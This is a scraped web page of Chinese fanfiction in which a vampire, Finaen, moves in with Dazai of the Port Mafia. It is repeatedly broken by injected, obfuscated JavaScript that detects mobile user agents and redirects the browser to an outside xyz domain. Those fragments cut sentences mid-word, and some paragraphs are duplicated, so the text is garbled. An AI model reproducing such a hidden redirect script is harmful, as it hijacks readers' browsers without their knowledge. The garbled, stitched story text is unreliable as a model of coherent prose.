d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337543|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或者尝试新型毒,万一吓到图拉尔先生或者不小心把他卷进去,那后果……” 太宰治一边说着,一边用眼神与森鸥外进行无声的交锋,鸢色的眼眸里闪烁着狡黠和抗拒的光,试图让森鸥外感受到他的强烈不满。 然而,森鸥外只是笑眯眯地回望着他,那温和的笑容如同深不可测的潭水。 “哦,安全问题菲那恩君想必不会在意。”森鸥外轻松地打断他,语气温和却像冰冷的铁钳,牢牢锁死了太宰治的挣扎,“至于生活环境,我相信以你的能力,很快就能整理妥当,这正是加深了解、培养默契的绝佳机会。” 他轻描淡写地封死了太宰治的所有退路,并补充道:“任务方面,中也君会接手你最近的外勤,你现在的首要任务,就是照顾好我们的新成员。” 太宰治的表情彻底阴沉下来,他看着森鸥外那张挂着完美假笑的脸,又瞥了一眼旁边那个赤瞳里闪烁着诡异光芒的吸血鬼,只觉得太阳穴突突直跳。 森先生绝对是故意的,他可没说过这个照看和引导的任务还需要跟菲那恩同居啊。 太宰治的脑子里瞬间闪过无数个未来给森鸥外制造“惊喜”的点子,从伪造文件到“不小心”泄露情报,再到设计让菲那恩去给首领“问好”…… “可是……”太宰治还想做最后的挣扎,声音低沉压抑,带着浓浓的不甘。 “菲那恩君,你觉得这个安排如何?”森鸥外直接转向菲那恩,笑容依旧温和无害,“跟太宰君住在一起那里,想必不会无聊。” 他巧妙地将皮球踢给了菲那恩。 菲那恩的脑子飞快地转动着。 和太宰……住在一起? …… …… !!! 血仆计划……终于可以迈出第一步了吗? 日夜相处,近距离观察,寻找弱点……把他变成专属血仆的计划一定会有很大的进展…… “我没有意见。”菲那恩几乎是立刻回答,赤红的眼底闪烁着难以抑制的光芒。 太宰治对上菲那恩那毫不掩饰的期待,再感受到森鸥外那看好戏般的目光,他深吸一口气,脸上扯出一个极其扭曲、皮笑肉不笑的笑容,那笑容阴郁得让旁边的爱丽丝都下意识抱紧了兔子玩偶。 “是……首领。”太宰治的声音像是从牙缝里挤出来的。 爱丽丝看着两人离开的背影,尤其是太宰治那副恨不得立刻去跳楼的表情。 她歪着头,发出一声清脆的、毫不掩饰的轻笑,随后拿起红色的蜡笔,在刚才的画纸上,用力地、幸灾乐祸地涂画了一个大大的、张牙舞爪的恶魔笑脸。 7. 命定之人 太宰治心情极差地走出了首领办公室,菲那恩跟在他身后,踏入冰冷的电梯,金属门闭合,狭小的空间带着他们无声下升。 当电梯门再次滑开时,扑面而来的是城市傍晚的气息。 太阳早已沉入地平线,天空只残留着几抹昏黄与深紫交织的暮色余晖。 两人走出大楼,踏上空旷的街道。 菲那恩落后半步,目光落在太宰治缠满绷带的侧脸上,粉色的发丝在微凉的晚风中轻轻拂动。 他犹豫了一下,开口问道:“我可以叫你太宰吗?” 声音在寂静的街道上显得格外清晰。 “当然可以。”太宰治头也不回,步伐懒散,声音里带着被麻烦缠身后懒洋洋的敷衍。 “太宰。”菲那恩立刻叫了一声,像是确认称呼权限。 太宰治那只未被绷带覆盖的鸢色眼眸懒洋洋地看了过去,带着点“又有什么事”的意味:“我在。” 菲那恩那双如同红宝石般的眼睛认真地打量着太宰治的脸,尤其是那碍眼的绷带,困惑地眨了眨:“冒昧地问一下,你的……眼睛,是瞎了一只吗?” 他的语气是纯粹的好奇,仿佛在询问一件物品的瑕疵,带着他缺乏人情世故的直白。 “……”太宰治的脚步微妙地顿了一下,随即发出一声短促的、意味不明的轻笑,嘴角扯出一个没什么温度的弧度,“你猜?” 那眼神里带着点“你还真敢问”的无语。 “这样吗……”菲那恩像是得到了某种确认,缓缓闭上眼睛,颇为惋惜地、甚至带着点不合时宜的郑重叹了口气,“我忘了,人类是不一样的,我不该问这么失礼的问题。” 他微微颔首,仿佛真的在为一个残疾人类感到理解,那副认真的姿态让空气都凝固了几分。 太宰治的眉头瞬间蹙紧,那只露出的鸢眸里闪过一丝荒谬和无语:“……哈?” 他张了张嘴,似乎想说什么,但看着菲那恩那副“我完全理解”的认真表情,最终只是将视线移向别处,把话咽了回去。 不爽值up。 ——这家伙到底明白了什么鬼东西!这脑回路比中也的帽子还清奇。 太宰治彻底懒得再解释,他重新迈开步子,速度似乎快了一丝,将那股荒谬感甩在身后。 随之而来的寂静如同实质般在微凉的空气中蔓延开来,只有两人一前一后、节奏不同的脚步声,在空旷的街道上敲打出单调的回响。 昏黄的路灯将他们的影子拉长又缩短,朝着不远处那栋公寓楼投去。 菲那恩落后几步,好奇地转动着脑袋,打量着这截然不同的异世街景。 街道两旁店铺大多门窗紧闭,行人更是稀少得可怜,街道两旁店铺大多门窗紧闭,行人更是稀少得可怜,只有偶尔一辆黑色的轿车无声滑过。 “街上的人类为什么这么少?”菲那恩再次发问,打破了沉寂,红眸里满是不解红眸,像个求知欲旺盛又不懂看气氛的孩子。 太宰治的声音从前面飘来,带着一股浓浓的、仿佛被抽干了所有力气的倦怠感,连解释都显得多余:“因为啊……” 他懒懒地抬手指了指周围,“这里是港口Mafia的地盘。” “港口Mafia……”菲那恩咀嚼着这个陌生的词汇,又问,“港口Mafia是什么样的存在呢?” 他像个初入人类社会的孩子,对一切都充满了求知欲。 太宰治的回答依旧轻飘飘的,敷衍得近乎任性,却又带着一种奇异的、无法反驳的黑色幽默:“嗯…是很有‘存在感’的存在。” 他刻意加重了“存在感”三个字,仿佛在暗示那些无形的威慑与阴影。 菲那恩闻言,却煞有介事地点了点头,仿佛真的将这个敷衍至极却又无法证伪的答案,认真地记在了他脑海里。 忽然,下雨了。 横滨的夜雨淅淅沥沥,打在湿漉漉的石板路上,晕开昏黄路灯的光圈。 “啊啦,下雨了,我们可得快点了,菲那恩君。”说着,太宰治却反而放满脚步,与菲那恩从一前一后到并肩走在这么一条僻静的小巷里,脚步声在空旷中显得格外清晰。 他忽然停住,侧过头,湿漉漉的鸢色眼眸在帽檐阴影下闪烁着探究的光,像在审视一个难解的谜题。 菲那恩的脚步也停了下来,雨水顺着他的下巴滑落,滴在锁骨上。 “话说你为什么会加入港口mafia呢?”太宰治开口,声音在雨声中带着一种奇特的穿透力,“其实你明明有着更多选择。” 他微微歪头,目光中被雨水打湿的菲那恩,苍白的脸看起来脆弱又可怜。 但菲那恩却抬起头,那双即使在昏暗雨夜中也璀璨如鸽血红宝石的眸子,毫无闪躲地迎上了太宰治审视的目光。 他的声音不大,却异常清晰,理所当然地说道:“因为太宰是我的命定之人。” 在这个充斥着少女漫画和禁忌恋情的世界里,这句话所承载的浪漫遐想,足以让任何听到它的人类心跳失衡。 所以,即使是太宰治,这个以智谋和冷漠著称的黑手党干部,大脑也罕见地宕机了一瞬。 太宰治脸上的漫不经心和戏谑如同被雨水冲刷掉的面具,彻底碎裂。 “……哈?” 他难得地、真正地愣住了,薄唇微张,只发出一个短促而茫然的音节。 那双总是藏着无数算计的鸢色眼眸,此刻清晰地映出菲那恩那张写满认真和某种……他无法理解的炽热光芒的精致脸庞。 那光芒太纯粹,太直接,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337544|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让习惯了谎言与伪装的太宰治感到一种莫名的、毛骨悚然的冲击。 这个温和人设,他实在装不下去了…… 在这昏黄的光晕下,太宰治和菲那恩就这么大眼瞪小眼,时间仿佛被无限拉长。 几秒钟的死寂后。 “啊——???!!!”一声夸张到变调的惊呼猛地从太宰治喉咙里炸开。 他像是被滚烫的烙铁烫到一样,整个人夸张地往后弹跳了一大步,差点撞到湿漉漉的墙壁。 那双漂亮的鸢色眼睛瞪得溜圆,里面充满了难以置信的惊恐和生理性的恶寒,仿佛听到了世界上最可怕、最荒谬、最不可理喻的宣言。 “不要!绝对不要!”他用力地搓着自己露在绷带外的手臂,仿佛要搓掉一层根本不存在的鸡皮疙瘩,声音拖得又长又颤,充满了刻意的嫌弃和抗拒。 “这是什么少女漫画的可怕台词吗?!菲那恩君,你该不会其实是那些奇怪刊物的深度中毒者吧?!离我远点!禁止传播这种可怕的病毒!” 看着太宰治那副避之唯恐不及、仿佛自己是什么超级病原体的夸张模样,菲那恩先是懵了一下,赤红的眼眸里充满了纯粹的困惑。 什么?少女漫是什么东西? 他口中的命定之人的意思其实是血族用语习惯,指某个特定人类的血液非常契合某个特定血族。 简言之为——命定之人。 菲那恩不明白为什么会引起对方如此剧烈的的反应。 或许其实这种反应在人类中才是正常的吗?也没有哪个人类想被血族盯上吧? 他眼眸低垂,看起来有些落寞,道:“错过太宰,我或许再过一千年都等不到下一个命定之人了……” 说着,“——阿嚏!” 一个响亮的喷嚏,瞬间打破了这带着点荒诞感的气氛。 菲那恩捂着鼻子,刚才的气势像被戳破的气球一样瘪了下去,只剩下淋成落汤鸡的狼狈和因为打喷嚏而泛红的鼻尖,配上他那身湿透的衣服,看起来可怜兮兮。 太宰治:“……” 他脸上的嫌弃和惊恐凝固了一瞬,随后眼中闪过一丝无语,“走吧,再淋下去怕是要感冒了。” 又不知道从哪里摸出来一把伞,撑开,却坏心眼地只罩在自己头顶,慢悠悠地继续往前走,留下菲那恩在原地却又不得不马上跟上。 菲那恩一丝一毫都没有察觉到,太宰治不是他想象中那样的好人,相反还是很恶劣的性格。 他只顾着纠正太宰治,“血族是不会感冒的。” “我没说你。” “什么?那为什么……” “你的喷嚏提醒了我要注意感冒。” “这样啊,也行……” “…………”太宰治再次无语了。 8. 吹头 □□提供的公寓位于港未来区一栋高级公寓楼的顶层。 电梯门打开,是铺着厚地毯的安静走廊。 门内并非太宰治之前描述的“灾难现场”,甚至可以说非常干净,显然是定期有人打理——当然,不要误会,这份功劳绝不可能属于公寓的主人。 这间公寓装修风格冷硬、线条简洁、空间宽敞但明显缺乏生活气息的公寓。 巨大的落地窗外是横滨璀璨的夜景,冰冷的都市光芒透过玻璃洒在深色的地板上,家具很少,显得空旷,空气里弥漫着一股淡淡的灰尘味和……若有似无的消毒水气息。 “喏,到了。”太宰治随手将湿透的黑色大衣扔在玄关冰冷的大理石台面上,发出沉闷的响声,声音依旧带着浓浓的倦怠和生无可恋,“你的房间在左手边第二间,浴室在旁边,衣柜里有基本的生活用品和……嗯,一些换洗衣物。” 他指了指卧室的方向,随后带菲那恩进了浴室,草草演示了一下淋浴器的开关,便甩手不管。 他像条脱水濒死的鱼,晃悠着走向客厅中央那张看起来就很舒服的宽大沙发,“我去找找有没有干燥的绷带……” 声音越来越小,最后整个人陷进了沙发里,只露出一点黑色的微卷发,散发着“别来烦我”的低气压。 浴室里,菲那恩对着“哗哗”喷水的莲蓬头陷入呆滞。 这是什么高阶水系秘术?!竟然能凭空召唤源源不断的热水?! 等他终于从氤氲着热气的浴室出来时,已经换上了一套深灰色的居家服,柔软的棉质布料贴在皮肤上,感觉很不错。 他一边用毛巾擦拭着湿漉漉的粉色长发,一边低头摆弄着衣架子上挂着的西装套装,微蹙着眉头。 就在这时,客厅里传来窸窸窣窣的声音。 菲那恩抬头,正好看到太宰治从沙发上爬起来,揉着乱糟糟的黑发,慢吞吞地晃向浴室,头也没回地拉开浴室门,身影消失在磨砂玻璃后,很快,里面传来了哗啦啦的水声。 菲那恩收回目光,他走到客厅落地窗前,看着窗外迷离的都市灯火,心里盘算着一定要跟太宰提一下,他不喜欢那套黑色西装的颜色和紧绷感。 时间在寂静中流逝。不知过了多久,浴室的水声停了,磨砂玻璃门被拉开的声音传来。 菲那恩下意识地循声望去,准备开口抱怨衣服的不适。 “太宰,那套衣服……” 他的话语刚开了个头,就如同被无形的力量扼住,彻底消音在喉咙里。 他赤红的眼眸瞬间聚焦,瞳孔中清晰地映出那个从氤氲水汽中走出来的身影。 没有了绷带的遮蔽。 湿漉漉的黑色微卷发柔软地贴在光洁饱满的额头和线条流畅的颈侧,发梢滴着水珠。 那张脸——毫无遮掩地暴露在空气中——皮肤是冷调的瓷白,在暖光下泛着细腻的光泽。 最引人注目的是那双眼睛——两只鸢色的眼眸都完好无损,褪去了所有平日的晦暗、戏谑,只剩下一种近乎无垢的干净。 没有了绷带的遮挡,他整张脸的轮廓显得更加柔和,甚至带着一种少年气的、近乎脆弱的精致感。 菲那恩彻底看呆了,准备好的抱怨忘得一干二净。 刚从舒适热水里出来,正被暖意和倦意包裹的太宰治,一边用毛巾擦着湿发,一边抬眼。 当他毫无防备地撞进菲那恩那双直勾勾的、仿佛凝固了的赤红眼眸里时,身体几不可查地僵硬了一瞬。 那眼神里的专注和……某种纯粹的、毫不掩饰的惊艳,像探照灯一样打在他毫无防备的脸上。 “……” 太宰治没有立刻说话,只是静静地看着菲那恩,似乎在评估对方的意图,又像是在用这短暂的沉默筑起一道无形的墙。 太宰治鸢色的眼眸深处,重新凝聚成深不见底的幽潭。 他擦头发的动作没有停,但速度慢了下来,脸上的表情迅速从放松的茫然切换成一种近乎冷漠的平静,用一种审视的、带着明显距离感的目光回视着菲那恩,周身的气场瞬间变得疏离而戒备。 菲那恩却仿佛完全没有感受到那骤然降低的气压和冰冷审视的目光。 “原来……”菲那恩眨了眨眼,声音里带着一丝新奇的发现,打破了令人窒息的沉默,“太宰的两只眼睛都是好的啊。” 他的语气就像在陈述一个显而易见的事实,没有任何恶意。 “……嗯?”太宰治的眼神更冷了一分,薄唇抿成一条直线。 菲那恩似乎没察觉到对方的不悦,目光在那张精致得过分的脸上流连,带着一种近乎认真的欣赏,继续语出惊人:“而且太宰……长得很好看。” 他的赞美直白得如同在评价一件精美的艺术品,没有任何旖旎的意味,只有纯粹的感官认知。 太宰治一屁股坐在沙发上,一边翻找茶几柜里的吹风机,一边漫不经心地回道:“真是谢谢你的夸奖,我知道我帅得惨绝人寰。” 菲那恩完全沉浸在自己的发现里,他歪了歪头,粉色湿发滑落肩头,赤红的眼眸里是真挚的困惑:“为什么要把这么漂亮的眼睛蒙上一只呢?太宰?” 这个问题一出,太宰治翻找的动作一滞,客厅的空气也跟着凝固了。 太宰治静静地看着菲那恩,那双鸢眸此刻深不见底,几秒钟后,他缓缓地、极轻地扯动了一下嘴角。 他的声音很平静,却清晰地穿透寂静:“个人爱好而已,就像有人喜欢戴帽子,有人喜欢收集绷带一样。” 菲那恩闻言,若有所思地点了点头。 随后,菲那恩看着太宰治从茶几柜里翻出吹风机,插上电源。机器启动的嗡鸣声在空旷的客厅里响起,暖风裹挟着太宰治身上清冽的沐浴露气息散开。 菲那恩站在几步之外,赤红的眼眸一眨不眨地看着。 他抬手摸了摸自己还在滴水的粉色长发,水珠顺着发梢滑落,滴在颈窝,带来一丝微凉的痒意。 宽松的居家服领口本就偏大,一边的肩线便悄无声息地滑落,露出小半边白皙圆润的肩头和一段精致凹陷的锁骨线条,水珠沿着肌肤细腻的纹理滑落,没入更深的衣襟阴影。 “太宰。”菲那恩的声音响起。 太宰治没回头,懒洋洋地应道:“嗯?” “那个……”菲那恩指了指太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰治皱着眉,站到菲那恩身后,他刻意保持着最大的安全距离,伸长手臂,打开暖风,抓起一把湿发就开始吹,温热的气流和嗡嗡的轻微噪音瞬间包裹了菲那恩。 菲那恩舒服地喟叹了一声,像一只被顺毛的猫,身体微微放松下来,原本有些僵硬的肩膀线条也柔和了些。 他感受着暖风拂过头皮,还有太宰治的手指偶尔穿过发丝的触感,带来一种奇异的安心感。 嗡嗡的噪音像一层温暖的茧,包裹着两人之间短暂的宁静。 就在这暖意和噪音中,太宰治像是想起什么似的,问道:“你不是吸血鬼吗?我看大多数现世吸血鬼题材的作品中,吸血鬼都是无心跳、无呼吸的,不过看你这呼吸频率……倒是一不小心揭开了世界的一大秘密?” 菲那恩意料之外地沉默了。 太宰治没有着急,静静地等待着菲那恩的答案。 良久,菲那恩才动了动干涩的唇,声音不大,但能刚好被太宰治清晰听见。 “不,只是我比较特殊——因为我是人类和血族的混血。” 太宰治拨弄他头发的手指微微一顿。 9. 和服 太宰治突然明白了,嘴角勾起一抹愉悦的笑。 脑海中关于菲那恩的过往经历资料中由他个人设想的某个特殊原因,在那一瞬间被点亮。 原来如此,是因为……混血吗。 不被包容,所以才这么好骗。 “我的母亲是人类,父亲是血族。”菲那恩继续说,语气平静得像在讲述别人的故事,“所以,我和纯血不太一样,我睡着的时候无心跳无呼吸,醒来就跟人类无异,甚至我都不怕阳光,不过体温一直都比正常人类的低。” 他似乎在解释什么,又像是单纯在陈述一个事实,“你可以把我当做一个特殊人类,也可以把我当做一个特殊血族,但我选择的是血族那一方。 他顿了顿,见太宰治没说话,手指无意识地收紧,又补充道:“不过你放心,就算在很饿很饿的时候……我也不会乱咬人的。” 太宰治声音如常,终于开口回道:“所以是乱抱人?” 他意有所指在拍卖场时,菲那恩的“投怀送抱”。 “这……不是……”菲那恩头一次体会到了尴尬,半天才憋出来一句话,“是你的血太特殊了……而且由于特殊的血脉,我注定就会是一只很克制的血族。” 太宰治鸢色眼眸中满是好奇与兴味,嘴上却是淡淡回道:“这样啊。” 之后又是久久的安静,只有吹风机的嗡嗡声。 菲那恩心脏碰碰跳。 但是……太宰还在帮他吹头发,那就应该是没事吧? 太宰治确实没什么想法,不,唯一的想法就是,他感觉菲那恩父母实在太像少女漫的男女主。 他稍微有一点点好奇他们的故事走向,但总归最终估计不是个好结局吧。 对mafia来说,探究同伴的内心是件极其危险的事。 菲那恩姑且已经开始算同伴了。 太宰治自认为自己是个冷酷无情的人,但看着菲那恩这副可怜小猫的忐忑模样,他选择不去满足自己的好奇心。 保持恰到好处的距离,对所有人都有好处。 菲那恩开始生硬地转移话题,带着试探意味的喊了一声太宰,清晰地穿透了嗡鸣:“太宰?” “嗯?”太宰治懒懒地应着,手指随意地拨弄着他的发丝,动作依旧带着点敷衍。 “对了,我想说我不喜欢那套衣服。”菲那恩的声音闷闷的,带着一丝孩子气的抱怨,“黑色的,硬邦邦的,穿着难受。” 太宰治的动作顿了一下,语气带着惯常的嘲讽:“哦?那你想穿什么?树叶吗?” “我喜欢像这样的颜色。”菲那恩微微侧了侧头,一缕湿透后已半干的粉色长发恰好滑过太宰治的手指,如同最上等的丝缎,带着冰凉柔滑的触感。 “像我的头发那样的。”他的声音里带着一种理所当然的偏好。 太宰治垂眸,目光落在指间缠绕的那缕柔亮粉发上,在暖风的吹拂下,那粉色仿佛带着生命般的光泽,在灯光下流转着细腻的光晕。 他沉默了几秒,指尖无意识地捻了捻那丝滑的发丝,一个几不可闻的低语从唇边逸出:“……确实很漂亮。” 声音很轻,轻得几乎被吹风机的噪音掩盖,更像是一种下意识的客观评价,不带任何个人情感。 然而,这极轻的、带着一丝莫名温度的话语,却如同投入平静湖面的小石子,在菲那恩心底漾开一圈陌生的涟漪。 他赤红的眼眸微微睁大。 血族只有银发,只有人类才会有各种各样的发色。 太宰说……漂亮? 一种奇异的、难以言喻的暖流顺着被太宰治指尖捻过的发丝,悄无声息地蔓延开来,直抵心口。 就在这时,太宰治像是突然被自己刚才的举动和话语惊醒,猛地关掉了吹风机。 骤然降临的寂静让菲那恩微微一怔。 他看也没看菲那恩,径直走到客厅一角,拿起放在小桌上的内部加密手机,快速地按了几个键。 “是我。”太宰治的声音恢复了平日里的疏懒,但带着不容置疑的命令口吻,“明天一早,送一套男士和服过来,要……嗯,樱粉色的。” 他顿了一下,似乎在思考,“尺寸?” 他回头,目光在菲那恩身上快速扫了一圈,菲那恩正扭过头,用那双盛满困惑的红眸看着他。“身高比我矮大半个头,比较瘦,按这个标准准备。” 电话那头传来下属惊讶的抽气声和一连串“是、是!太宰大人!属下明白!”的紧张应答,显然被上司这突如其来的、极其“不港口mafia”的奇怪要求惊到了。 太宰治利落地挂断了电话,随手扔回桌上,仿佛只是处理了一件微不足道的小事。 他走回菲那恩身边,语气又恢复了那种懒洋洋:“行了,干了,赶紧去睡觉吧。” 菲那恩刚想说什么,却被太宰治接下来的动作吸引了。 只见太宰治弯腰从沙发底下拖出一个箱子,里面放着两台游戏手柄和一个看起来颇为先进的游戏机主机。 “睡不着吗?”太宰治瞥了他一眼,一边利落地连接线缆,“无聊的话,要玩两局吗?输了的人明天负责打扫卫生哦。” 他嘴角勾起一丝带着点挑衅的弧度,显然单纯想给自己找点乐子。 菲那恩对“打扫卫生”没什么概念,但“游戏”这个词引起了他的好奇。 他点点头,在太宰治旁边的软垫上坐下,学着太宰治的样子拿起一个手柄。 很快,激烈的游戏音效和屏幕闪烁的光影充满了客厅。 菲那恩一开始笨拙地按着按钮,但血族强大的反应神经和动态视力让他很快上手,甚至开始有模有样地反击。 太宰治也难得地投入其中,两人在虚拟世界里厮杀得不亦乐乎,之前的尴尬和微妙气氛似乎被暂时抛到了脑后。 就在两人激战正酣,屏幕上的角色激烈碰撞时—— “叮咚!叮咚!” 公寓的门铃突兀地响了起来,在寂静的深夜和游戏的背景音中显得格外刺耳。 太宰治眉头瞬间拧紧,眼中闪过一丝被打扰的不悦和警惕。 菲那恩也停下动作,暗红的眼眸看向门口。 “啧。”太宰治不情不愿地放下手柄,低声咒骂了一句,“到底是谁,大半夜的……” 这套公寓只有港口mafia的人才能进来,住户也很少,只有少数几户高层。 他抓了抓乱糟糟的黑发,一脸“最好有重要的事否则宰了你”的杀气,走到门口,也没看猫眼,直接拉开了门。 门外,站着一个穿着黑西装、神情极度紧张、额角冒汗的年轻下属。 他怀里抱着一个巨大的、包装精美的礼盒,上面印着某家高级和服店的烫金标志。 看到太宰治开门,他几乎是条件反射般地九十度鞠躬,声音都在发抖: “太、太宰大人!万、万分抱歉深夜打扰您!”下属的声音带着哭腔,“但、但是您要的和服,考虑到您可能……可能急着要穿,属下不敢怠慢,立刻、立刻为您送来了!请、请您原谅属下的自作主张!” 他一边说,一边深深鞠躬,几乎要把礼盒举过头顶,汗水顺着鬓角滑落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337546|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治看着那巨大的盒子,又看了看眼前这个紧张得快要晕过去的属下,鸢色的眼眸眯了眯,闪过一丝了然和无语。 他刚想说“放门口就行”,目光却敏锐地捕捉到属下在鞠躬时,视线似乎不受控制地、飞快地越过了他的肩膀,投向了客厅的方向。 太宰治顺着那目光微微侧身。 客厅里,游戏画面还在闪烁暂停状态。菲那恩正盘腿坐在软垫上,手里还拿着游戏手柄,闻声也好奇地扭头看向门口。 他穿着那身深灰色居家服,一头柔顺的粉色长发随意披散着,有几缕调皮地滑落在肩头。 他脸上带着被打扰打游戏的茫然,暗红的眼眸在昏暗光线变幻中显得格外妖异。 “……” 下属的目光在看清菲那恩身影的瞬间,瞳孔猛地收缩,大脑瞬间宕机。 粉色的长发……穿着居家服……深夜出现在太宰大人的公寓里……还和太宰大人一起打游戏?! 所有信息碎片瞬间拼凑出一个石破天惊的结论! ——太宰大人金屋藏娇?!而且……还是位有着罕见粉色长发、深夜陪打游戏的亲密情人?!甚至和服都要穿跟对方同色系的?! 下属的脸瞬间变得煞白,随即又涨得通红,眼神里充满了极度的震惊、惶恐、以及一种“撞破了惊天秘密我是不是要完蛋了”的绝望。 他抱着盒子的手抖得厉害,嘴巴张了张,却发不出任何声音,只觉得眼前发黑。 太宰治将属下的反应尽收眼底,瞬间就明白对方那贫瘠的想象力又脑补了什么离谱剧情。 他嘴角狠狠抽了抽,一股无名火夹杂着荒谬感涌上心头。 他冷冷地“啧”了一声,劈手夺过下属手中沉甸甸的礼盒,语气冰寒刺骨,带着不容置疑的威压:“东西送到,滚,今晚你什么也没看到,管好你的嘴,明白吗?” “是、是!属下明白!属下什么也没看到!什么都没看到!!”下属如蒙大赦,几乎是连滚爬地逃离了现场,速度快得像背后有恶鬼在追,连电梯都忘了按,跌跌撞撞跑向楼梯间。 太宰治“砰”地一声甩上门,巨大的声响在公寓里回荡。 他把沉重的礼盒随手扔在玄关上,发出沉闷的撞击声。 他转过身,看着依旧一脸懵懂、完全不知道自己引发了什么误会的菲那恩,只觉得太阳穴突突直跳,烦躁到了极点。 “……继续?”菲那恩指了指暂停的游戏屏幕,显然还没搞清状况。 鲜少有人能够在一天之内引起太宰治这么多次的情绪波动,菲那恩在某种意义上也很厉害了。 “继续个鬼,睡觉!”太宰治走过去粗暴地关掉了游戏机和灯,客厅瞬间陷入一片黑暗,只剩下窗外冰冷的都市光芒。 菲那恩虽然不明所以,但还是乖乖放下手柄,赤着脚,带着一丝被打断游戏的遗憾,默默走回了自己的房间。 公寓楼下,逃离的下属靠在冰冷的墙壁上大口喘气,心脏还在狂跳,几乎要跳出胸腔。 他抹了把冷汗,回想起刚才瞥到的画面: 没缠绷带的、穿着居家服的太宰大人,那位有着梦幻般粉发的“情人小姐”穿着同款家居服,两人一起坐在软垫上打游戏……那画面冲击力太强了! 他心中为那位“神秘的情人小姐”默默点了一根蜡——敢和那位阴晴不定、手段莫测、传闻中极度危险的太宰大人搅和在一起,还深夜同处一室……这位小姐,您真是勇气可嘉!自求多福吧! 他摇摇头,带着满心的震撼、同情以及对未来的深深忧虑,快步消失在浓重的夜色中。 10. 血液反应 黑暗的房间里,菲那恩躺在柔软的床上,睁着那双在暗夜中微微发光的红宝石眼眸,望着陌生的天花板。 ——失眠了。 横滨的夜,对菲那恩而言,是清醒的煎熬。 没有那具冰冷、熟悉的水晶棺椁,人类柔软的床榻如同滚烫的烙铁,让他辗转难安。 这具身体数百年养成的习性在此刻发生激烈冲突,他像一只被强行塞进鸟笼的夜枭,焦躁而痛苦。 棺材……想要棺材…… 这个念头如同魔咒般在他脑海中疯狂盘旋、撞击。 他需要那狭小、黑暗、隔绝一切的冰冷空间。 菲那恩的听觉在寂静中被无限放大。 窗外一片落叶打着旋儿亲吻地面的轻响,厨房水龙头一滴水珠坠落水槽的“嘀嗒”,甚至……隔着一堵墙,隔壁房间那个恶劣人类——太宰治,的平稳悠长的呼吸声,都清晰得如同在耳畔。 突然,“嗡——” 冰箱压缩机的启动声像一道惊雷,在菲那恩高度敏感的听觉神经上炸开。 黑暗中,吸血鬼的瞳孔瞬间收缩成两道猩红的竖线。 他无声地滑下床,赤足踩在冰冷的大理石地面上,发出沉闷的微响,如同猫科动物潜行。 循着那微弱却扰人的噪音源头,他很快便站在了巨大的双开门冰箱前,冰冷的金属触感透过指尖传来。 他屈起苍白的手指,轻轻敲了敲冷藏室的门板,“叩、叩”。 菲那恩歪着头,血红的眼眸里充满了困惑。 人类的“棺材”……是这个样子的吗? 午夜十二点的钟声仿佛在他心底敲响,行动派决定亲自验证。 他拉开沉重的冰箱门,一股混合着蔬果和冷气的寒流扑面而来,菲那恩毫不犹豫地开始尝试把自己“塞”进去。 长腿蜷缩着卡在保鲜层的隔板间,银白色的睫毛似乎凝结了一层细碎的霜花,柔顺的粉色长发铺散在鲜红的小番茄和蟹肉罐头之上,宛如一匹价值连城的绸缎被随意丢弃在杂货堆里。 他调整了一下姿势,发出一声满足的叹息:“唔…温度…似乎…刚刚好…” 太宰治不知何时已斜倚在厨房门框边,灰色的家居服衬得他身形修长,但那露出的鸢色眼眸在黑暗中看不出什么情绪,紧紧锁在冰箱里那团“人形货物”上。 就在这时,一个带着浓浓倦意的声音,懒洋洋地在厨房门口响起: “喂喂喂……菲那恩君,大半夜的,你是打算把自己当成人形冰棍储存起来,还是准备把我的储备粮都腌入味?” 菲那恩闻声,艰难地从一堆番茄和罐头中转过脖子。 太宰治不知何时已斜倚在厨房门框边,灰色的家居服衬得他身形修长,在厨房昏暗的光线下显得有些模糊。 他一只手随意地插在口袋里,另一只手揉着惺忪的睡眼,显然是被噪音或者某种诡异的直觉吵醒。 但那露出的鸢色眼眸,在冰箱门内倾泻出的明亮光线映照下,却异常清醒,锐利得像探照灯,紧紧锁在冰箱里那团“人形货物”上。 这又是什么新的行为艺术?果然不能对吸血鬼的脑回路抱有任何期待啊…… 那只缠着绷带的手精准地揪住了菲那恩的后衣领,像拎一只不听话的猫咪,毫不留情地将他从寒气的包裹中拖拽出来。 “啊呀!”菲那恩猝不及防,慌乱中只来得及咬住一颗番茄。 